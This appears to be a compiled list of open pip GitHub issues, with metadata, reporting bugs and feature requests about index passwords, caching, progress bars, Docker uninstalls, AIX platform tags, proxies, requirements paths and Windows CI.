Original text taken from the post by @chrahunt in https://github.com/pypa/pip/pull/6864#pullrequestreview-273973515
user: atugushev
labels: type: enhancement: Improvements to functionality
OS: windows: Windows specific
state: awaiting PR: Feature discussed, PR is needed
issue_6961: state: open
title: Certain passwords fail with Extra-index-url with password in pip.conf
body: **Environment**

* pip version: pip 19.2.3 
* Python version: python 3.7
* OS: Mac osx 10.14.6

**Description**
When I have a ^ in my password (which was auto generated), then Pip throws an error when trying to look at the private pypi. This has started to happen on 'newer versions of pip' (unclear which version broke it).

* the browser, and curl, don't have problems when using it this password, i.e. `curl https://jt:Pro:REDACT^@REDACT/simple/cryptography/` gives back the redirect to the right place ok.

My pip.conf looks like this:

```
[global]
timeout = 20
extra-index-url = https://jt:REDACTED^@REDACTED/simple
```

**Expected behavior**
Not an error but the intended package should be installed from the correct server.

**How to Reproduce**
1. Have a private pypi server,
2. create a user with a password with a ^ in it.
3. Add that pypi with the password to pip.conf
4. Install any package (especially a public one from normal pypi)
5. Look at errors.

**Output**

```
(venv) MacBook-Pro:REDACT/ jt$ pip install -r config/pip.list 
Looking in indexes: https://pypi.org/simple, https://jt:****@REDACTED/simple
Collecting cryptography>=2.1.1 (from -r config/pip.list (line 2))
ERROR: Could not install packages due to an EnvironmentError: Failed to parse: https://jt:Pro:REDACTED^@REDACT/simple/cryptography/
```

Also in this instance, the password is then printed in the error, which is handy (there was a previous feature which auto-redacts it from the 'looking in indexes' output.

I wonder if this is related to https://github.com/pypa/pip/issues/6775 ?
user: jmons
labels: type: support: User Support
issue_6956: state: open
title: Do something about cache housekeeping?
body: **What's the problem this feature will solve?**
Pip stores data in its cache, but never clears out obsolete data.

**Describe the solution you'd like**
Some means (automated or manual) for no-longer-needed cache entries to be cleared out.

**Alternative Solutions**
It's possible to just delete the cache altogether, as there is nothing in there that won't be recreated as needed, but this is an "all or nothing" solution.

**Additional context**
Prompted by the discussion [here](https://github.com/pypa/pip/issues/6954#issuecomment-526834684)

user: pfmoore
labels: state: needs discussion: This needs some more discussion
C: cache: Dealing with cache and files in it
type: feature request: Request for a new feature
issue_6946: state: open
title: Installation progress bar gets messed up on small terminals
body: **Environment**

* pip version: 19.2.3
* Python version: 3.7
* OS: Linux

**Description**

The ANSI control code trickery used to make the progress bar work has problems when the terminal width is smaller than the progress bar width. Here's a video of the problem: (I couldn't figure out how to convert this to a GIF below github's 10MB limit, so it's a Dropbox share link)

https://www.dropbox.com/s/7k4sa8aeuoshy70/progressbar.webm?dl=0

The root cause appears to be in the progress bar library: https://github.com/verigak/progress/issues/40

This also appears to be the root cause of #6101. 

**Expected behavior**

The terminal should behave nicely at all terminal sizes.

**How to Reproduce**

Pip install any package that produces a progress bar and try shrinking the terminal.

Alternatively, install the `progress` package and run this script while resizing the terminal:

```python
#!/usr/bin/python

import time
from progress.bar import IncrementalBar

bar = IncrementalBar('Processing', max=1000)
for i in range(1000):
    time.sleep(0.02)
    bar.next()

bar.finish()
```

**Output**

N/A

user: thomasjm
labels: type: bug: A confirmed bug or unintended behavior
project: vendored dependency: Related to a vendored dependency
issue_6943: state: open
title: OSError: [Errno 18] Invalid cross-device link and OSError: [Errno 22] Invalid argument:
body: **Environment**

* pip version: 19.2.3
* Python version: 3.6
* OS: centos-release-7-5.1804.el7.centos.2.x86_64
* Docker version: 18.09.7, build 2d0083d

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
I would like to uninstall python package using pip during docker container build, but always I run into the same two errors: `OSError: [Errno 18] Invalid cross-device link` and `OSError: [Errno 22] Invalid argument`.

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
Python library should be uninstalled without errors.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->
1. I created demo dockerfile:
~~~
FROM python:3.6

WORKDIR /app

RUN pip install requests
RUN pip uninstall requests --yes
~~~

2. Then I run: `docker build -t demo .`
3. Everything is fine until the uninstall command (see output).

Dockerfile in other tested environment (Win10, docker 19.03.01, python 3.6.8, pip 18.1) works.

**Output**

```
[xjakubek@eqs test]$ docker build -t demo .
Sending build context to Docker daemon  73.03MB
Step 1/4 : FROM python:3.6
 ---> 1c515a624542
Step 2/4 : WORKDIR /app
 ---> Running in e74a4eb969be
Removing intermediate container e74a4eb969be
 ---> a47d7cc9bb48
Step 3/4 : RUN pip install requests
 ---> Running in a725f5935de3
Collecting requests
  Downloading https://files.pythonhosted.org/packages/51/bd/23c926cd341ea6b7dd0b2a00aba99ae0f828be89d72b2190f27c11d4b7fb/requests-2.22.0-py2.py3-none-any.whl (57kB)
Collecting idna<2.9,>=2.5 (from requests)
  Downloading https://files.pythonhosted.org/packages/14/2c/cd551d81dbe15200be1cf41cd03869a46fe7226e7450af7a6545bfc474c9/idna-2.8-py2.py3-none-any.whl (58kB)
Collecting certifi>=2017.4.17 (from requests)
  Downloading https://files.pythonhosted.org/packages/69/1b/b853c7a9d4f6a6d00749e94eb6f3a041e342a885b87340b79c1ef73e3a78/certifi-2019.6.16-py2.py3-none-any.whl (157kB)
Collecting chardet<3.1.0,>=3.0.2 (from requests)
  Downloading https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl (133kB)
Collecting urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 (from requests)
  Downloading https://files.pythonhosted.org/packages/e6/60/247f23a7121ae632d62811ba7f273d0e58972d75e58a94d329d51550a47d/urllib3-1.25.3-py2.py3-none-any.whl (150kB)
Installing collected packages: idna, certifi, chardet, urllib3, requests
Successfully installed certifi-2019.6.16 chardet-3.0.4 idna-2.8 requests-2.22.0 urllib3-1.25.3
Removing intermediate container a725f5935de3
 ---> 2898dc3e30b5
Step 4/4 : RUN pip uninstall requests --yes
 ---> Running in 752ab918d7c2
Uninstalling requests-2.22.0:
ERROR: Exception:
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/shutil.py", line 550, in move
    os.rename(src, real_dst)
OSError: [Errno 18] Invalid cross-device link: '/usr/local/lib/python3.6/site-packages/requests-2.22.0.dist-info/' -> '/usr/local/lib/python3.6/site-packages/~equests-2.22.0.dist-info'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/cli/base_command.py", line 188, in main
    status = self.run(options, args)
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/commands/uninstall.py", line 75, in run
    auto_confirm=options.yes, verbose=self.verbosity > 0,
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/req/req_install.py", line 831, in uninstall
    uninstalled_pathset.remove(auto_confirm, verbose)
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/req/req_uninstall.py", line 388, in remove
    moved.stash(path)
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/req/req_uninstall.py", line 277, in stash
    renames(path, new_path)
  File "/usr/local/lib/python3.6/site-packages/pip/_internal/utils/misc.py", line 402, in renames
    shutil.move(old, new)
  File "/usr/local/lib/python3.6/shutil.py", line 562, in move
    rmtree(src)
  File "/usr/local/lib/python3.6/shutil.py", line 490, in rmtree
    onerror(os.rmdir, path, sys.exc_info())
  File "/usr/local/lib/python3.6/shutil.py", line 488, in rmtree
    os.rmdir(path)
OSError: [Errno 22] Invalid argument: '/usr/local/lib/python3.6/site-packages/requests-2.22.0.dist-info/'
The command '/bin/sh -c pip uninstall requests --yes' returned a non-zero code: 2
```

user: tocosastalo
labels: type: support: User Support
issue_6922: state: open
title: provide pep425 platform tag for AIX
body: **Environment**

* pip version: 19.2.2
* Python version: Any (testing on Python3.7.4)
* OS: AIX

<!-- Feel free to add more information about your environment here -->

**Description**
pip._internal.pep425tags.get_platform() removes dependency from distutils.util.get_platform()

Just as for macos, the value returned by distutils is insufficient for portable packaging,
as it lacks sufficient details.

**Expected behavior**
When AIX is the platform, return a platform in the form:
AIX_V_R_M_YYWW_bNN

where: V=version; R=release; M=TechLevel; YYWW represents the builddate (Year (19 for 2019); WW is week of year); bNN - where NN is 32|64 for 32 or 64 bit mode)

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Get standard pip
2. Then run "pip debug'
3. AIX platform dependents tags use value from distutils

**Output**
*** Without: ***
pip version: pip 19.2.2 from /opt/lib/python3.7/site-packages/pip (python 3.7)
sys.version: 3.7.4 (default, Aug 14 2019, 12:40:12) [C]
sys.executable: /opt/bin/python3.7
sys.getdefaultencoding: utf-8
sys.getfilesystemencoding: iso8859-1
locale.getpreferredencoding: ISO8859-1
sys.platform: aix6
sys.implementation:
  name: cpython
Compatible tags: 20
  cp37-cp37m-aix_6_1
  cp37-abi3-aix_6_1
  cp37-none-aix_6_1
  cp36-abi3-aix_6_1
  cp35-abi3-aix_6_1
  cp34-abi3-aix_6_1
  cp33-abi3-aix_6_1
  cp32-abi3-aix_6_1
  py3-none-aix_6_1

*** With: ***
(build) root@x066:[/home/root]pip debug
WARNING: This command is only meant for debugging. Do not use this with automation for parsing and getting these details, since the output and options of this command may change without notice.
pip version: pip 19.3.dev0 from /home/root/build/lib/python3.7/site-packages/pip-19.3.dev0-py3.7.egg/pip (python 3.7)
sys.version: 3.7.4 (default, Aug 14 2019, 12:40:12) [C]
sys.executable: /home/root/build/bin/python
sys.getdefaultencoding: utf-8
sys.getfilesystemencoding: iso8859-1
locale.getpreferredencoding: ISO8859-1
sys.platform: aix6
sys.implementation:
  name: cpython
Compatible tags: 20
  cp37-cp37m-AIX_6_1_7_1415_b32
  cp37-abi3-AIX_6_1_7_1415_b32
  cp37-none-AIX_6_1_7_1415_b32
  cp36-abi3-AIX_6_1_7_1415_b32
  cp35-abi3-AIX_6_1_7_1415_b32
  cp34-abi3-AIX_6_1_7_1415_b32
  cp33-abi3-AIX_6_1_7_1415_b32
  cp32-abi3-AIX_6_1_7_1415_b32
  py3-none-AIX_6_1_7_1415_b32
  cp37-none-any


user: aixtools
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_6912: state: open
title: Verbose JSON output mixes with non-JSON output
body: * Pip version: 19.2.2
* Python version: 3.5.1
* Operating system: Windows 8.1

If I request verbose output to add "location" info to the JSON output of "pip list", the output contains a lot of network debugging info and is not valid JSON anymore.

Specifically, i used to use:
`pip list -o --format json`
which does not include the location (and installer) keys.
When i use
`pip list -o -v --format json`
the output (stdout of the subprocess i use) starts with messages like
> 1 location(s) to search for versions of wrapt:

and fails to load.

Ideas:
1. Print debug-kind of output to stderr. Optionally only if json format is requested. This seems to be a bigger change and could make other things fail that expect stdout to be used.
2. Always include all keys in JSON output (also without the verbose option). JSON is meant to be parsed somehow, so extra keys can be ignored easily. This should be a fairly small change (just remove the condition) and would be my prefered solution.

user: pythoneerd
labels: type: bug: A confirmed bug or unintended behavior
issue_6911: state: open
title: Support proxy auto-config
body: **What's the problem this feature will solve?**
Use `pip` both within a corporate network and on the road without ever having to worry about proxy settings; pretty similar to the use case of #4581.

**Describe the solution you'd like**
`pip` should be able to do what Windows does when I click "Automatically detect settings" in Internet Options, Connections, LAN settings. Basically, query a few default locations such as `http://wpad/wpad.dat` for a `.pac` script, then download that and parse it for proxy settings.

**Additional context**
https://en.wikipedia.org/wiki/Proxy_auto-config
https://en.wikipedia.org/wiki/Web_Proxy_Auto-Discovery_Protocol
user: bersbersbers
labels: C: proxy: Dealing with proxies and networking
state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_6905: state: open
title: Special variable inside requirements.txt which contains path to current requirements.txt
body: First of all i'm sorry for my poor English and pip skills
**What's the problem this feature will solve?**
This feature request is based on my stackoverflow question https://stackoverflow.com/questions/57590215/path-to-current-file-inside-requirements-txt

Pip allow to specify path to other packages in requirements.txt. For example `-e path/to/some/package`. It allow pip users to reuse local packages between local projects

For example suppose i have following structure of folders:
```
my_collection_of_packages/
    package1/
        package1/
            some.py
        setup.py
        requirements.txt
    package2/
        same_structure_as_package1
        requirements.txt
project1/
    requirements.txt
```

`package2` depends on `package1`, so `package2/requirements.txt` contains following string `-e ../package1/`. So if my projects depends on `package2` i can perform something like `pip install -e project2` and it will install `package1` too. But unfortunately, it will not work if my project is not at the same folder level with my packages.
For example, if my project is `project1` and `project1/requirements.txt` contains `-e ../my_collection_of_packages/package2/` it's impossible to install `package2/requirements.txt` because it contains relative path `../package1/` which is equal `project1/../package1/` if we run `package2/requirements.txt`. 

**Describe the solution you'd like**
From my point of view a special variable which contains path to current requirements.txt can be solution for this problem. I have no idea which name is better, but suppose it is `${requirements_pwd}`. So now `package2/requirements.txt` can reference `package1` by `-e ${requirements_pwd}/../package1/` And `project1` can reference `package2` as `-e ${requirements_pwd}/../my_collection_of_packages/package2/`

**Alternative Solutions**
It's possible to achieve same result by using absolute paths, but this makes usage of packages on different machines almost impossible.

For linux another solution is to define environment variable `${package_collection}` and use it inside `requirements.txt`. For example `package2/requirements.txt` should be `${package_collection}/my_collection_of_packages/package1/`. Have no idea how to make it work on windows and linux simultaneously 

**Additional context**
Link to stackoverflow question: https://stackoverflow.com/questions/57590215/path-to-current-file-inside-requirements-txt

Thank in advance. Please let me know if something wrong with my problem statement.

user: Daiver
labels: type: enhancement: Improvements to functionality
type: support: User Support
state: needs discussion: This needs some more discussion
C: requirement file: Using `requirements.txt`
issue_6878: state: open
title: terminal pip error
body: * Pip version:19.0.3
* Python version:3.6.8
* Operating system: linux mint 18.2

When I put this in the terminal: `pip install tensorflow==2.0.0-beta1` i get this error

```
Error checking for conflicts.
Traceback (most recent call last):
  File "/usr/local/lib/python2.7/dist-packages/pip/_internal/commands/install.py", line 503, in _warn_about_conflicts
    package_set, _dep_info = check_install_conflicts(to_install)
  File "/usr/local/lib/python2.7/dist-packages/pip/_internal/operations/check.py", line 108, in check_install_conflicts
    package_set, _ = create_package_set_from_installed()
  File "/usr/local/lib/python2.7/dist-packages/pip/_internal/operations/check.py", line 47, in create_package_set_from_installed
    package_set[name] = PackageDetails(dist.version, dist.requires())
  File "/usr/local/lib/python2.7/dist-packages/pip/_vendor/pkg_resources/__init__.py", line 2589, in version
    raise ValueError(tmpl % self.PKG_INFO, self)
ValueError: ("Missing 'Version:' header and/or METADATA file", Unknown [unknown version] (/home/brandon_b/.local/lib/python2.7/site-packages))
```

![pip error](https://user-images.githubusercontent.com/42665020/63069319-710cdc80-bee4-11e9-94bb-66b85336aedd.png)
![pip error](https://user-images.githubusercontent.com/42665020/63069334-7833ea80-bee4-11e9-8ec6-bfcf254314ee.png)

I don't know what to do from here. plz help
user: lamar661
labels: type: support: User Support
issue_6877: state: open
title: flake8 package not installed correctly due to strange PATH formatting issue
body: **ENVIRONMENT**
* Pip version: `pip 19.2.2 from c:\program files (x86)\microsoft visual studio\shared\python36_64\lib\site-packages\pip (python 3.6)`
* Python version: `Python 3.6.6`
* Operating system: `Windows Server 2012 R2`

Package `flake8` version:  flake8 3.7.8

**DESCRIPTION:**
`flake8` (Python linter) package did not install correctly due to following error:

```WARNING: The script flake8.exe is installed in c:\program files (x86)\microsoft visual studio\shared\python36_64\Scripts which is not on PATH. Consider adding this directory to PATH or, if you prefer to suppress this warn ing, use --no-warn-script-location.```

Issue caused by PATH string formatting.
(I'm not sure if it's due to the path's case sensitivity, its trailing backslash (as shown below), or its double quotes; I ran out of time to test this):


**REPRODUCTION STEPS:**
1)  Replicate environment as described above, ensuring the following Python PATHs are set in Windows:

```
"C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python36_64\Scripts\"
"C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python36_64"
```

Note: 
This issue also happens with the first path as follows, with no surrounding double quotes and a trailing backslash:  `c:\program files (x86)\microsoft visual studio\shared\python36_64\Scripts\`


**WORKAROUND:**
1. Set the referenced Path as follows:
```c:\program files (x86)\microsoft visual studio\shared\python36_64\Scripts```

2. Restart the command prompt and verify problem is corrected by running:
`pip3 install --upgrade --force-reinstall flake8`:

**Output:**

```
  Found existing installation: mccabe 0.6.1
    Uninstalling mccabe-0.6.1:
      Successfully uninstalled mccabe-0.6.1
  Found existing installation: pycodestyle 2.5.0
    Uninstalling pycodestyle-2.5.0:
      Successfully uninstalled pycodestyle-2.5.0
  Found existing installation: entrypoints 0.3
    Uninstalling entrypoints-0.3:
      Successfully uninstalled entrypoints-0.3
  Found existing installation: pyflakes 2.1.1
    Uninstalling pyflakes-2.1.1:
      Successfully uninstalled pyflakes-2.1.1
  Found existing installation: flake8 3.7.8
    Uninstalling flake8-3.7.8:
      Successfully uninstalled flake8-3.7.8
Successfully installed entrypoints-0.3 flake8-3.7.8 mccabe-0.6.1 pycodestyle-2.5
.0 pyflakes-2.1.1
```

Note that now, the Warning described above does not appear adjacent to the installation of flake8-3.7.8.

user: cdabel
labels: type: support: User Support
C: scripts: How scripts and entry points are managed
issue_6875: state: open
title: Editable mode from git doesn't work if the package is in a directory called test or tests
body: **Environment**

* pip version: 19.2.2
* Python version: 3.7.2
* OS: Windows 10 1803

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
```
 pip install -e "git+git@github.com:neilvana/pip-issue.git@91b6070000b9267876af0fbe462b8b888efaf915#egg=python_thing&subdirectory=tests\python_thing"
```
fails with an error:
```
Looking in indexes: https://pypi.python.org
Obtaining python_thing from git+git@github.com:neilvana/pip-issue.git@91b6070000b9267876af0fbe462b8b888efaf915#egg=python_thing&subdirectory=tests\python_thing
  Skipping because already up-to-date.
ERROR: Files/directories not found in c:\git\.venv-pip\src\python-thing
```
However the exact same library in a different path inside the repo works fine:
```
$ pip install -e "git+git@github.com:neilvana/pip-issue.git@91b6070000b9267876af0fbe462b8b888efaf915#egg=python_thing&subdirectory=not-tests\python_thing"
Looking in indexes: https://pypi.org/simple
Obtaining python_thing from git+git@github.com:neilvana/pip-issue.git@91b6070000b9267876af0fbe462b8b888efaf915#egg=python_thing&subdirectory=not-tests\python_thing
  Skipping because already up-to-date.
Installing collected packages: python-thing
  Running setup.py develop for python-thing
Successfully installed python-thing
```

**Expected behavior**
I expect installing in editable mode from a git subdirectory including the name `test` or `tests` to be possible. While these directory names are very common to hold unit tests there are other cases where these names are appropriate to hold multiple python packages in a single repo. 

Retaining the current behavior (ignoring `test` or `tests` when searching for `.egg_info`) may be desirable for other use-cases I don't know about but I would minimally expect some way to override the behavior.

At the very least I hope to be provided more context into why it failed.  To debug the issue I had to dig into the source code of pip to find this:

https://github.com/pypa/pip/blob/c2cf23227943db406e9d41e9636aeed0229658ad/src/pip/_internal/req/req_install.py#L679

**How to Reproduce**

```
python -m venv .venv
.venv/Scripts/activate
 pip -vv install -e "git+git@github.com:neilvana/pip-issue.git@91b6070000b9267876af0fbe462b8b888efaf915#egg=python_thing&subdirectory=tests\python_thing"
```

**Output**

```
$ pip -vv install -e "git+git@github.com:neilvana/pip-issue.git@91b6070000b9267876af0fbe462b8b888efaf915#egg=python_thing&subdirectory=tests\python_thing"
Created temporary directory: C:\Users\nstoddar\AppData\Local\Temp\pip-ephem-wheel-cache-lpmk2oz4
Created temporary directory: C:\Users\nstoddar\AppData\Local\Temp\pip-req-tracker-xtwouu3c
Created requirements tracker 'C:\\Users\\nstoddar\\AppData\\Local\\Temp\\pip-req-tracker-xtwouu3c'
Created temporary directory: C:\Users\nstoddar\AppData\Local\Temp\pip-install-g6vnxndb
Obtaining python_thing from git+git@github.com:neilvana/pip-issue.git@91b6070000b9267876af0fbe462b8b888efaf915#egg=python_thing&subdirectory=tests\python_thing
  Checking in c:\git\.venv-pip\src\python-thing for .git (git)...
  Running command git config --get-regexp 'remote\..*\.url'
  remote.origin.url git@github.com:neilvana/pip-issue.git
  Clone in .\.venv-pip\src\python-thing exists, and has correct URL (git@github.com:neilvana/pip-issue.git)
  Running command git rev-parse HEAD
  91b6070000b9267876af0fbe462b8b888efaf915
  Skipping because already up-to-date.
  Added python_thing from git+git@github.com:neilvana/pip-issue.git@91b6070000b9267876af0fbe462b8b888efaf915#egg=python_thing&subdirectory=tests\python_thing to build tracker 'C:\\Users\\nstoddar\\AppData\\Local\\Temp\\pip-req-tracker-xtwouu3c'
    Running setup.py (path:c:\git\.venv-pip\src\python-thing\tests\python_thing\setup.py) egg_info for package python-thing
    Running command python setup.py egg_info
    running egg_info
    writing python_thing.egg-info\PKG-INFO
    writing dependency_links to python_thing.egg-info\dependency_links.txt
    writing entry points to python_thing.egg-info\entry_points.txt
    writing top-level names to python_thing.egg-info\top_level.txt
    reading manifest file 'python_thing.egg-info\SOURCES.txt'
    writing manifest file 'python_thing.egg-info\SOURCES.txt'
Cleaning up...
Removed python_thing from git+git@github.com:neilvana/pip-issue.git@91b6070000b9267876af0fbe462b8b888efaf915#egg=python_thing&subdirectory=tests\python_thing from build tracker 'C:\\Users\\nstoddar\\AppData\\Local\\Temp\\pip-req-tracker-xtwouu3c'
Removed build tracker 'C:\\Users\\nstoddar\\AppData\\Local\\Temp\\pip-req-tracker-xtwouu3c'
ERROR: Files/directories not found in c:\git\.venv-pip\src\python-thing
Exception information:
Traceback (most recent call last):
  File "c:\git\.venv-pip\lib\site-packages\pip\_internal\cli\base_command.py", line 188, in main
    status = self.run(options, args)
  File "c:\git\.venv-pip\lib\site-packages\pip\_internal\commands\install.py", line 345, in run
    resolver.resolve(requirement_set)
  File "c:\git\.venv-pip\lib\site-packages\pip\_internal\legacy_resolve.py", line 196, in resolve
    self._resolve_one(requirement_set, req)
  File "c:\git\.venv-pip\lib\site-packages\pip\_internal\legacy_resolve.py", line 359, in _resolve_one
    abstract_dist = self._get_abstract_dist_for(req_to_install)
  File "c:\git\.venv-pip\lib\site-packages\pip\_internal\legacy_resolve.py", line 291, in _get_abstract_dist_for
    req, self.require_hashes, self.use_user_site, self.finder,
  File "c:\git\.venv-pip\lib\site-packages\pip\_internal\operations\prepare.py", line 250, in prepare_editable_requirement
    finder, self.build_isolation,
  File "c:\git\.venv-pip\lib\site-packages\pip\_internal\distributions\source.py", line 79, in prepare_distribution_metadata
    self.req.prepare_metadata()
  File "c:\git\.venv-pip\lib\site-packages\pip\_internal\req\req_install.py", line 567, in prepare_metadata
    metadata_name = canonicalize_name(self.metadata["Name"])
  File "c:\git\.venv-pip\lib\site-packages\pip\_internal\req\req_install.py", line 687, in metadata
    self._metadata = get_metadata(self.get_dist())
  File "c:\git\.venv-pip\lib\site-packages\pip\_internal\req\req_install.py", line 698, in get_dist
    dist_dir = self.egg_info_path.rstrip(os.path.sep)
  File "c:\git\.venv-pip\lib\site-packages\pip\_internal\req\req_install.py", line 670, in egg_info_path
    "Files/directories not found in %s" % base
pip._internal.exceptions.InstallationError: Files/directories not found in c:\git\.venv-pip\src\python-thing
```

user: neilvana
labels: type: bug: A confirmed bug or unintended behavior
C: vcs: pip's interaction with version control systems like git, svn and bzr
issue_6871: state: open
title: Make PipTestEnvironment stderr checks more assertive
body: We can tighten the tests in the following way. Rename the `PipTestEnvironment.run()` arguments of `allow_stderr_warning` and `allow_stderr_error` arguments to `expect_stderr_warning` and `expect_stderr_error`:

https://github.com/pypa/pip/blob/2bfafc9b70f76ec0b019c96311cb437e739b21e2/tests/lib/__init__.py#L501-L507

and make the test fail if the argument is passed and a warning or error isn't present, respectively. The idea is that the argument should only be passed if it's actually needed, unlike the current case where the test is passing if the argument is provided unnecessarily.

Also, to do this it might be necessary to do a check of some kind to know if the argument should be passed. For example, whether a deprecation warning is emitted can depend on what version is running.

_Posted in its original form by @cjerdonek in [#161 (comment)](https://github.com/pypa/pip/issues/161#issuecomment-520195397)_

user: chrahunt
labels: C: tests: Testing and related things
type: maintenance: Related to Development and Maintenance Processes
state: awaiting PR: Feature discussed, PR is needed
issue_6863: state: open
title: Consider warning users about shell path hashing on upgrade
body: **What's the problem this feature will solve?**

Shells can remember paths to commands, so subsequent invocations do not have to search `PATH`. This causes confusing behavior when executing `pip install --upgrade pip`, but a regular `pip` invocation still resolves to the system pip (at `/usr/bin/pip`) and import fails.

**Describe the solution you'd like**

On package upgrade, check whether the parent process is bash (or any shell that does this). If so, check whether the script that was just installed also exists anywhere else in `PATH`. If so, print a warning to the user that they may need to execute e.g. `hash <script1> <script2> ...` before the scripts will work correctly.

Example where this would've helped: #6332.

**Alternative Solutions**

1. Ongoing user support
2. Unconditionally ask users to close and reopen their shell

**Additional context**

* #6332
* #5599
user: chrahunt
labels: type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
C: scripts: How scripts and entry points are managed
C: cli: Command line interface related things (optparse, option grouping etc)
issue_6841: state: open
title: pip upgrade warning is bypassed when pip is a dependency
body: Helping to debug a contributor setup issue at the PyCon AU sprints, we eventually tracked the problem down to:

* briefcase needed a more recent pip
* "pip install --upgrade briefcase" implicitly tried to upgrade pip, but had the usual Windows issues with trying to replace a running executable
* the warning about this case didn't get displayed
user: ncoghlan
labels: type: bug: A confirmed bug or unintended behavior
OS: windows: Windows specific
issue_6823: state: open
title: Report windows paths in their original case
body: **Environment**

* pip version: 19.2.1
* Python version: 3.7
* OS: Windows

<!-- Feel free to add more information about your environment here -->

**Description**
On Windows; pip reports certain paths after lowercasing them. 

**Expected behavior**
Paths should be reported in their original case.

**How to Reproduce**
`pip install setuptools`

**Output**
`Requirement already satisfied: setuptools in c:\users\my user name\miniconda3\lib\site-packages (41.0.1)`
but the following would be nicer:
`Requirement already satisfied: setuptools in C:\Users\My User Name\miniconda3\lib\site-packages (41.0.1)`

Similar issues: https://github.com/pypa/pip/pull/4770, https://github.com/pypa/pip/issues/6582.  Admittedly a minor cosmetic point, though.
user: anntzer
labels: type: bug: A confirmed bug or unintended behavior
OS: windows: Windows specific
help wanted: For requesting inputs from other members of the community
issue_6821: state: open
title: Cannot pip install a URL that redirects to a valid wheel
body: **Environment**

* pip version: 19.1.1
* Python version: 3.7
* OS: Linux

**Description**
I attempted to pip install a URL which 302 redirects to a valid whl.

```
curl -v http://ezyang.com/nightly.php
*   Trying 2401:db00:20ff:ff70:face:b00c:0:1e10...
* TCP_NODELAY set
* Connected to fwdproxy (2401:db00:20ff:ff70:face:b00c:0:1e10) port 8080 (#0)
> GET http://ezyang.com/nightly.php HTTP/1.1
> Host: ezyang.com
> User-Agent: curl/7.59.0
> Accept: */*
> Proxy-Connection: Keep-Alive
> 
< HTTP/1.1 302 Moved Temporarily
< Date: Wed, 31 Jul 2019 21:25:09 GMT
< Server: Apache
< X-Powered-By: PHP/5.5.26
< Location: https://download.pytorch.org/whl/nightly/torchaudio_nightly-0.4.0.dev20190731-cp37-cp37m-linux_x86_64.whl
< Content-Type: text/html
< Via: HTTP/1.1 18.4.86.46:80 (fwdproxy2/350 69.171.251.28)
< X-Connected-To: 18.4.86.46
< X-FB-IP-Type: allowed
< Connection: keep-alive
< Content-Length: 0
< 
* Connection #0 to host fwdproxy left intact
```

pip installing the redirected URL gets to dependency solving, as desired:

```
$ pip install https://download.pytorch.org/whl/nightly/torchaudio_nightly-0.4.0.dev20190731-cp37-cp37m-linux_x86_64.whl
Collecting torchaudio-nightly==0.4.0.dev20190731 from https://download.pytorch.org/whl/nightly/torchaudio_nightly-0.4.0.dev20190731-cp37-cp37m-linux_x86_64.whl
  Using cached https://download.pytorch.org/whl/nightly/torchaudio_nightly-0.4.0.dev20190731-cp37-cp37m-linux_x86_64.whl
Collecting torch-nightly==1.2.0.dev20190731 (from torchaudio-nightly==0.4.0.dev20190731)
  ERROR: Could not find a version that satisfies the requirement torch-nightly==1.2.0.dev20190731 (from torchaudio-nightly==0.4.0.dev20190731) (from versions: none)
ERROR: No matching distribution found for torch-nightly==1.2.0.dev20190731 (from torchaudio-nightly==0.4.0.dev20190731)
```

However, pip installing the redirecting URL fails earlier in a mysterious way.

```
$ pip install http://ezyang.com/nightly.php
Collecting http://ezyang.com/nightly.php
  Using cached http://ezyang.com/nightly.php
    ERROR: Complete output from command python setup.py egg_info:
    ERROR: Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/home/ezyang/miniconda3/envs/scratch1/lib/python3.7/tokenize.py", line 447, in open
        buffer = _builtin_open(filename, 'rb')
    FileNotFoundError: [Errno 2] No such file or directory: '/tmp/pip-req-build-d0odg3he/setup.py'
    ----------------------------------------
ERROR: Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-req-build-d0odg3he/
```

**Expected behavior**
I expect the second command to work.
user: ezyang
labels: type: docs: Documentation related
C: finder: PackageFinder and index related code
UX: User experience related
C: error messages: Improving error messages
issue_6791: state: open
title: Spread Windows CI load
body: Follow-up of #6767 

### Current status:

8 interpreters (2.7, 3.5, 3.6 & 3.7 on x64 & x86) are tested.
Tests are split into 2 categories "unit" or "integration".

interpreter | unit | integration
----------- | ---- | -----------
2.7 x86     |  pz  |        p
2.7 x64     |  pz  |         z
3.5 x86     |  pz  |
3.5 x64     |  pz  |         z
3.6 x86     |  pz  |
3.6 x64     |  p   |        p
3.7 x86     |   z  |
3.7 x64     |  z   |

`p` means tested on AppVeyor, `z` means tested on Azure (and `pz` on both)

## Azure

It takes:
  * ~ 2/3 min for unit tests
  * ~ 33 min for unit + integration tests

and currently performs 8 unit + 2 integration in ~ 43 min

## Appveyor

It takes:
* ~ 2 min for unit tests
* ~ 10 / 20 min for unit + integration tests (with x64 much faster than x86)

and currently performs 6 unit + 2 integration in ~ 36 min


### Suggestion

interpreter | unit | integration
----------- | ---- | -----------
2.7 x86     |  z  | z
2.7 x64     |  p  | p
3.5 x86     |  z  |
3.5 x64     |  p  | p
3.6 x86     |  z  |
3.6 x64     |  p  | p
3.7 x86     |  z  |
3.7 x64     |  z  | z

To remove all overlap and prefer x64 over x86 on Appveyor since it seems significantly faster (while appearing the same on Azure).
(Edited: this was a false impression, the difference came from python 2.7 vs 3.6 instead)

Azure would now be testing 5 unit + 2 inte (from 8 +2)
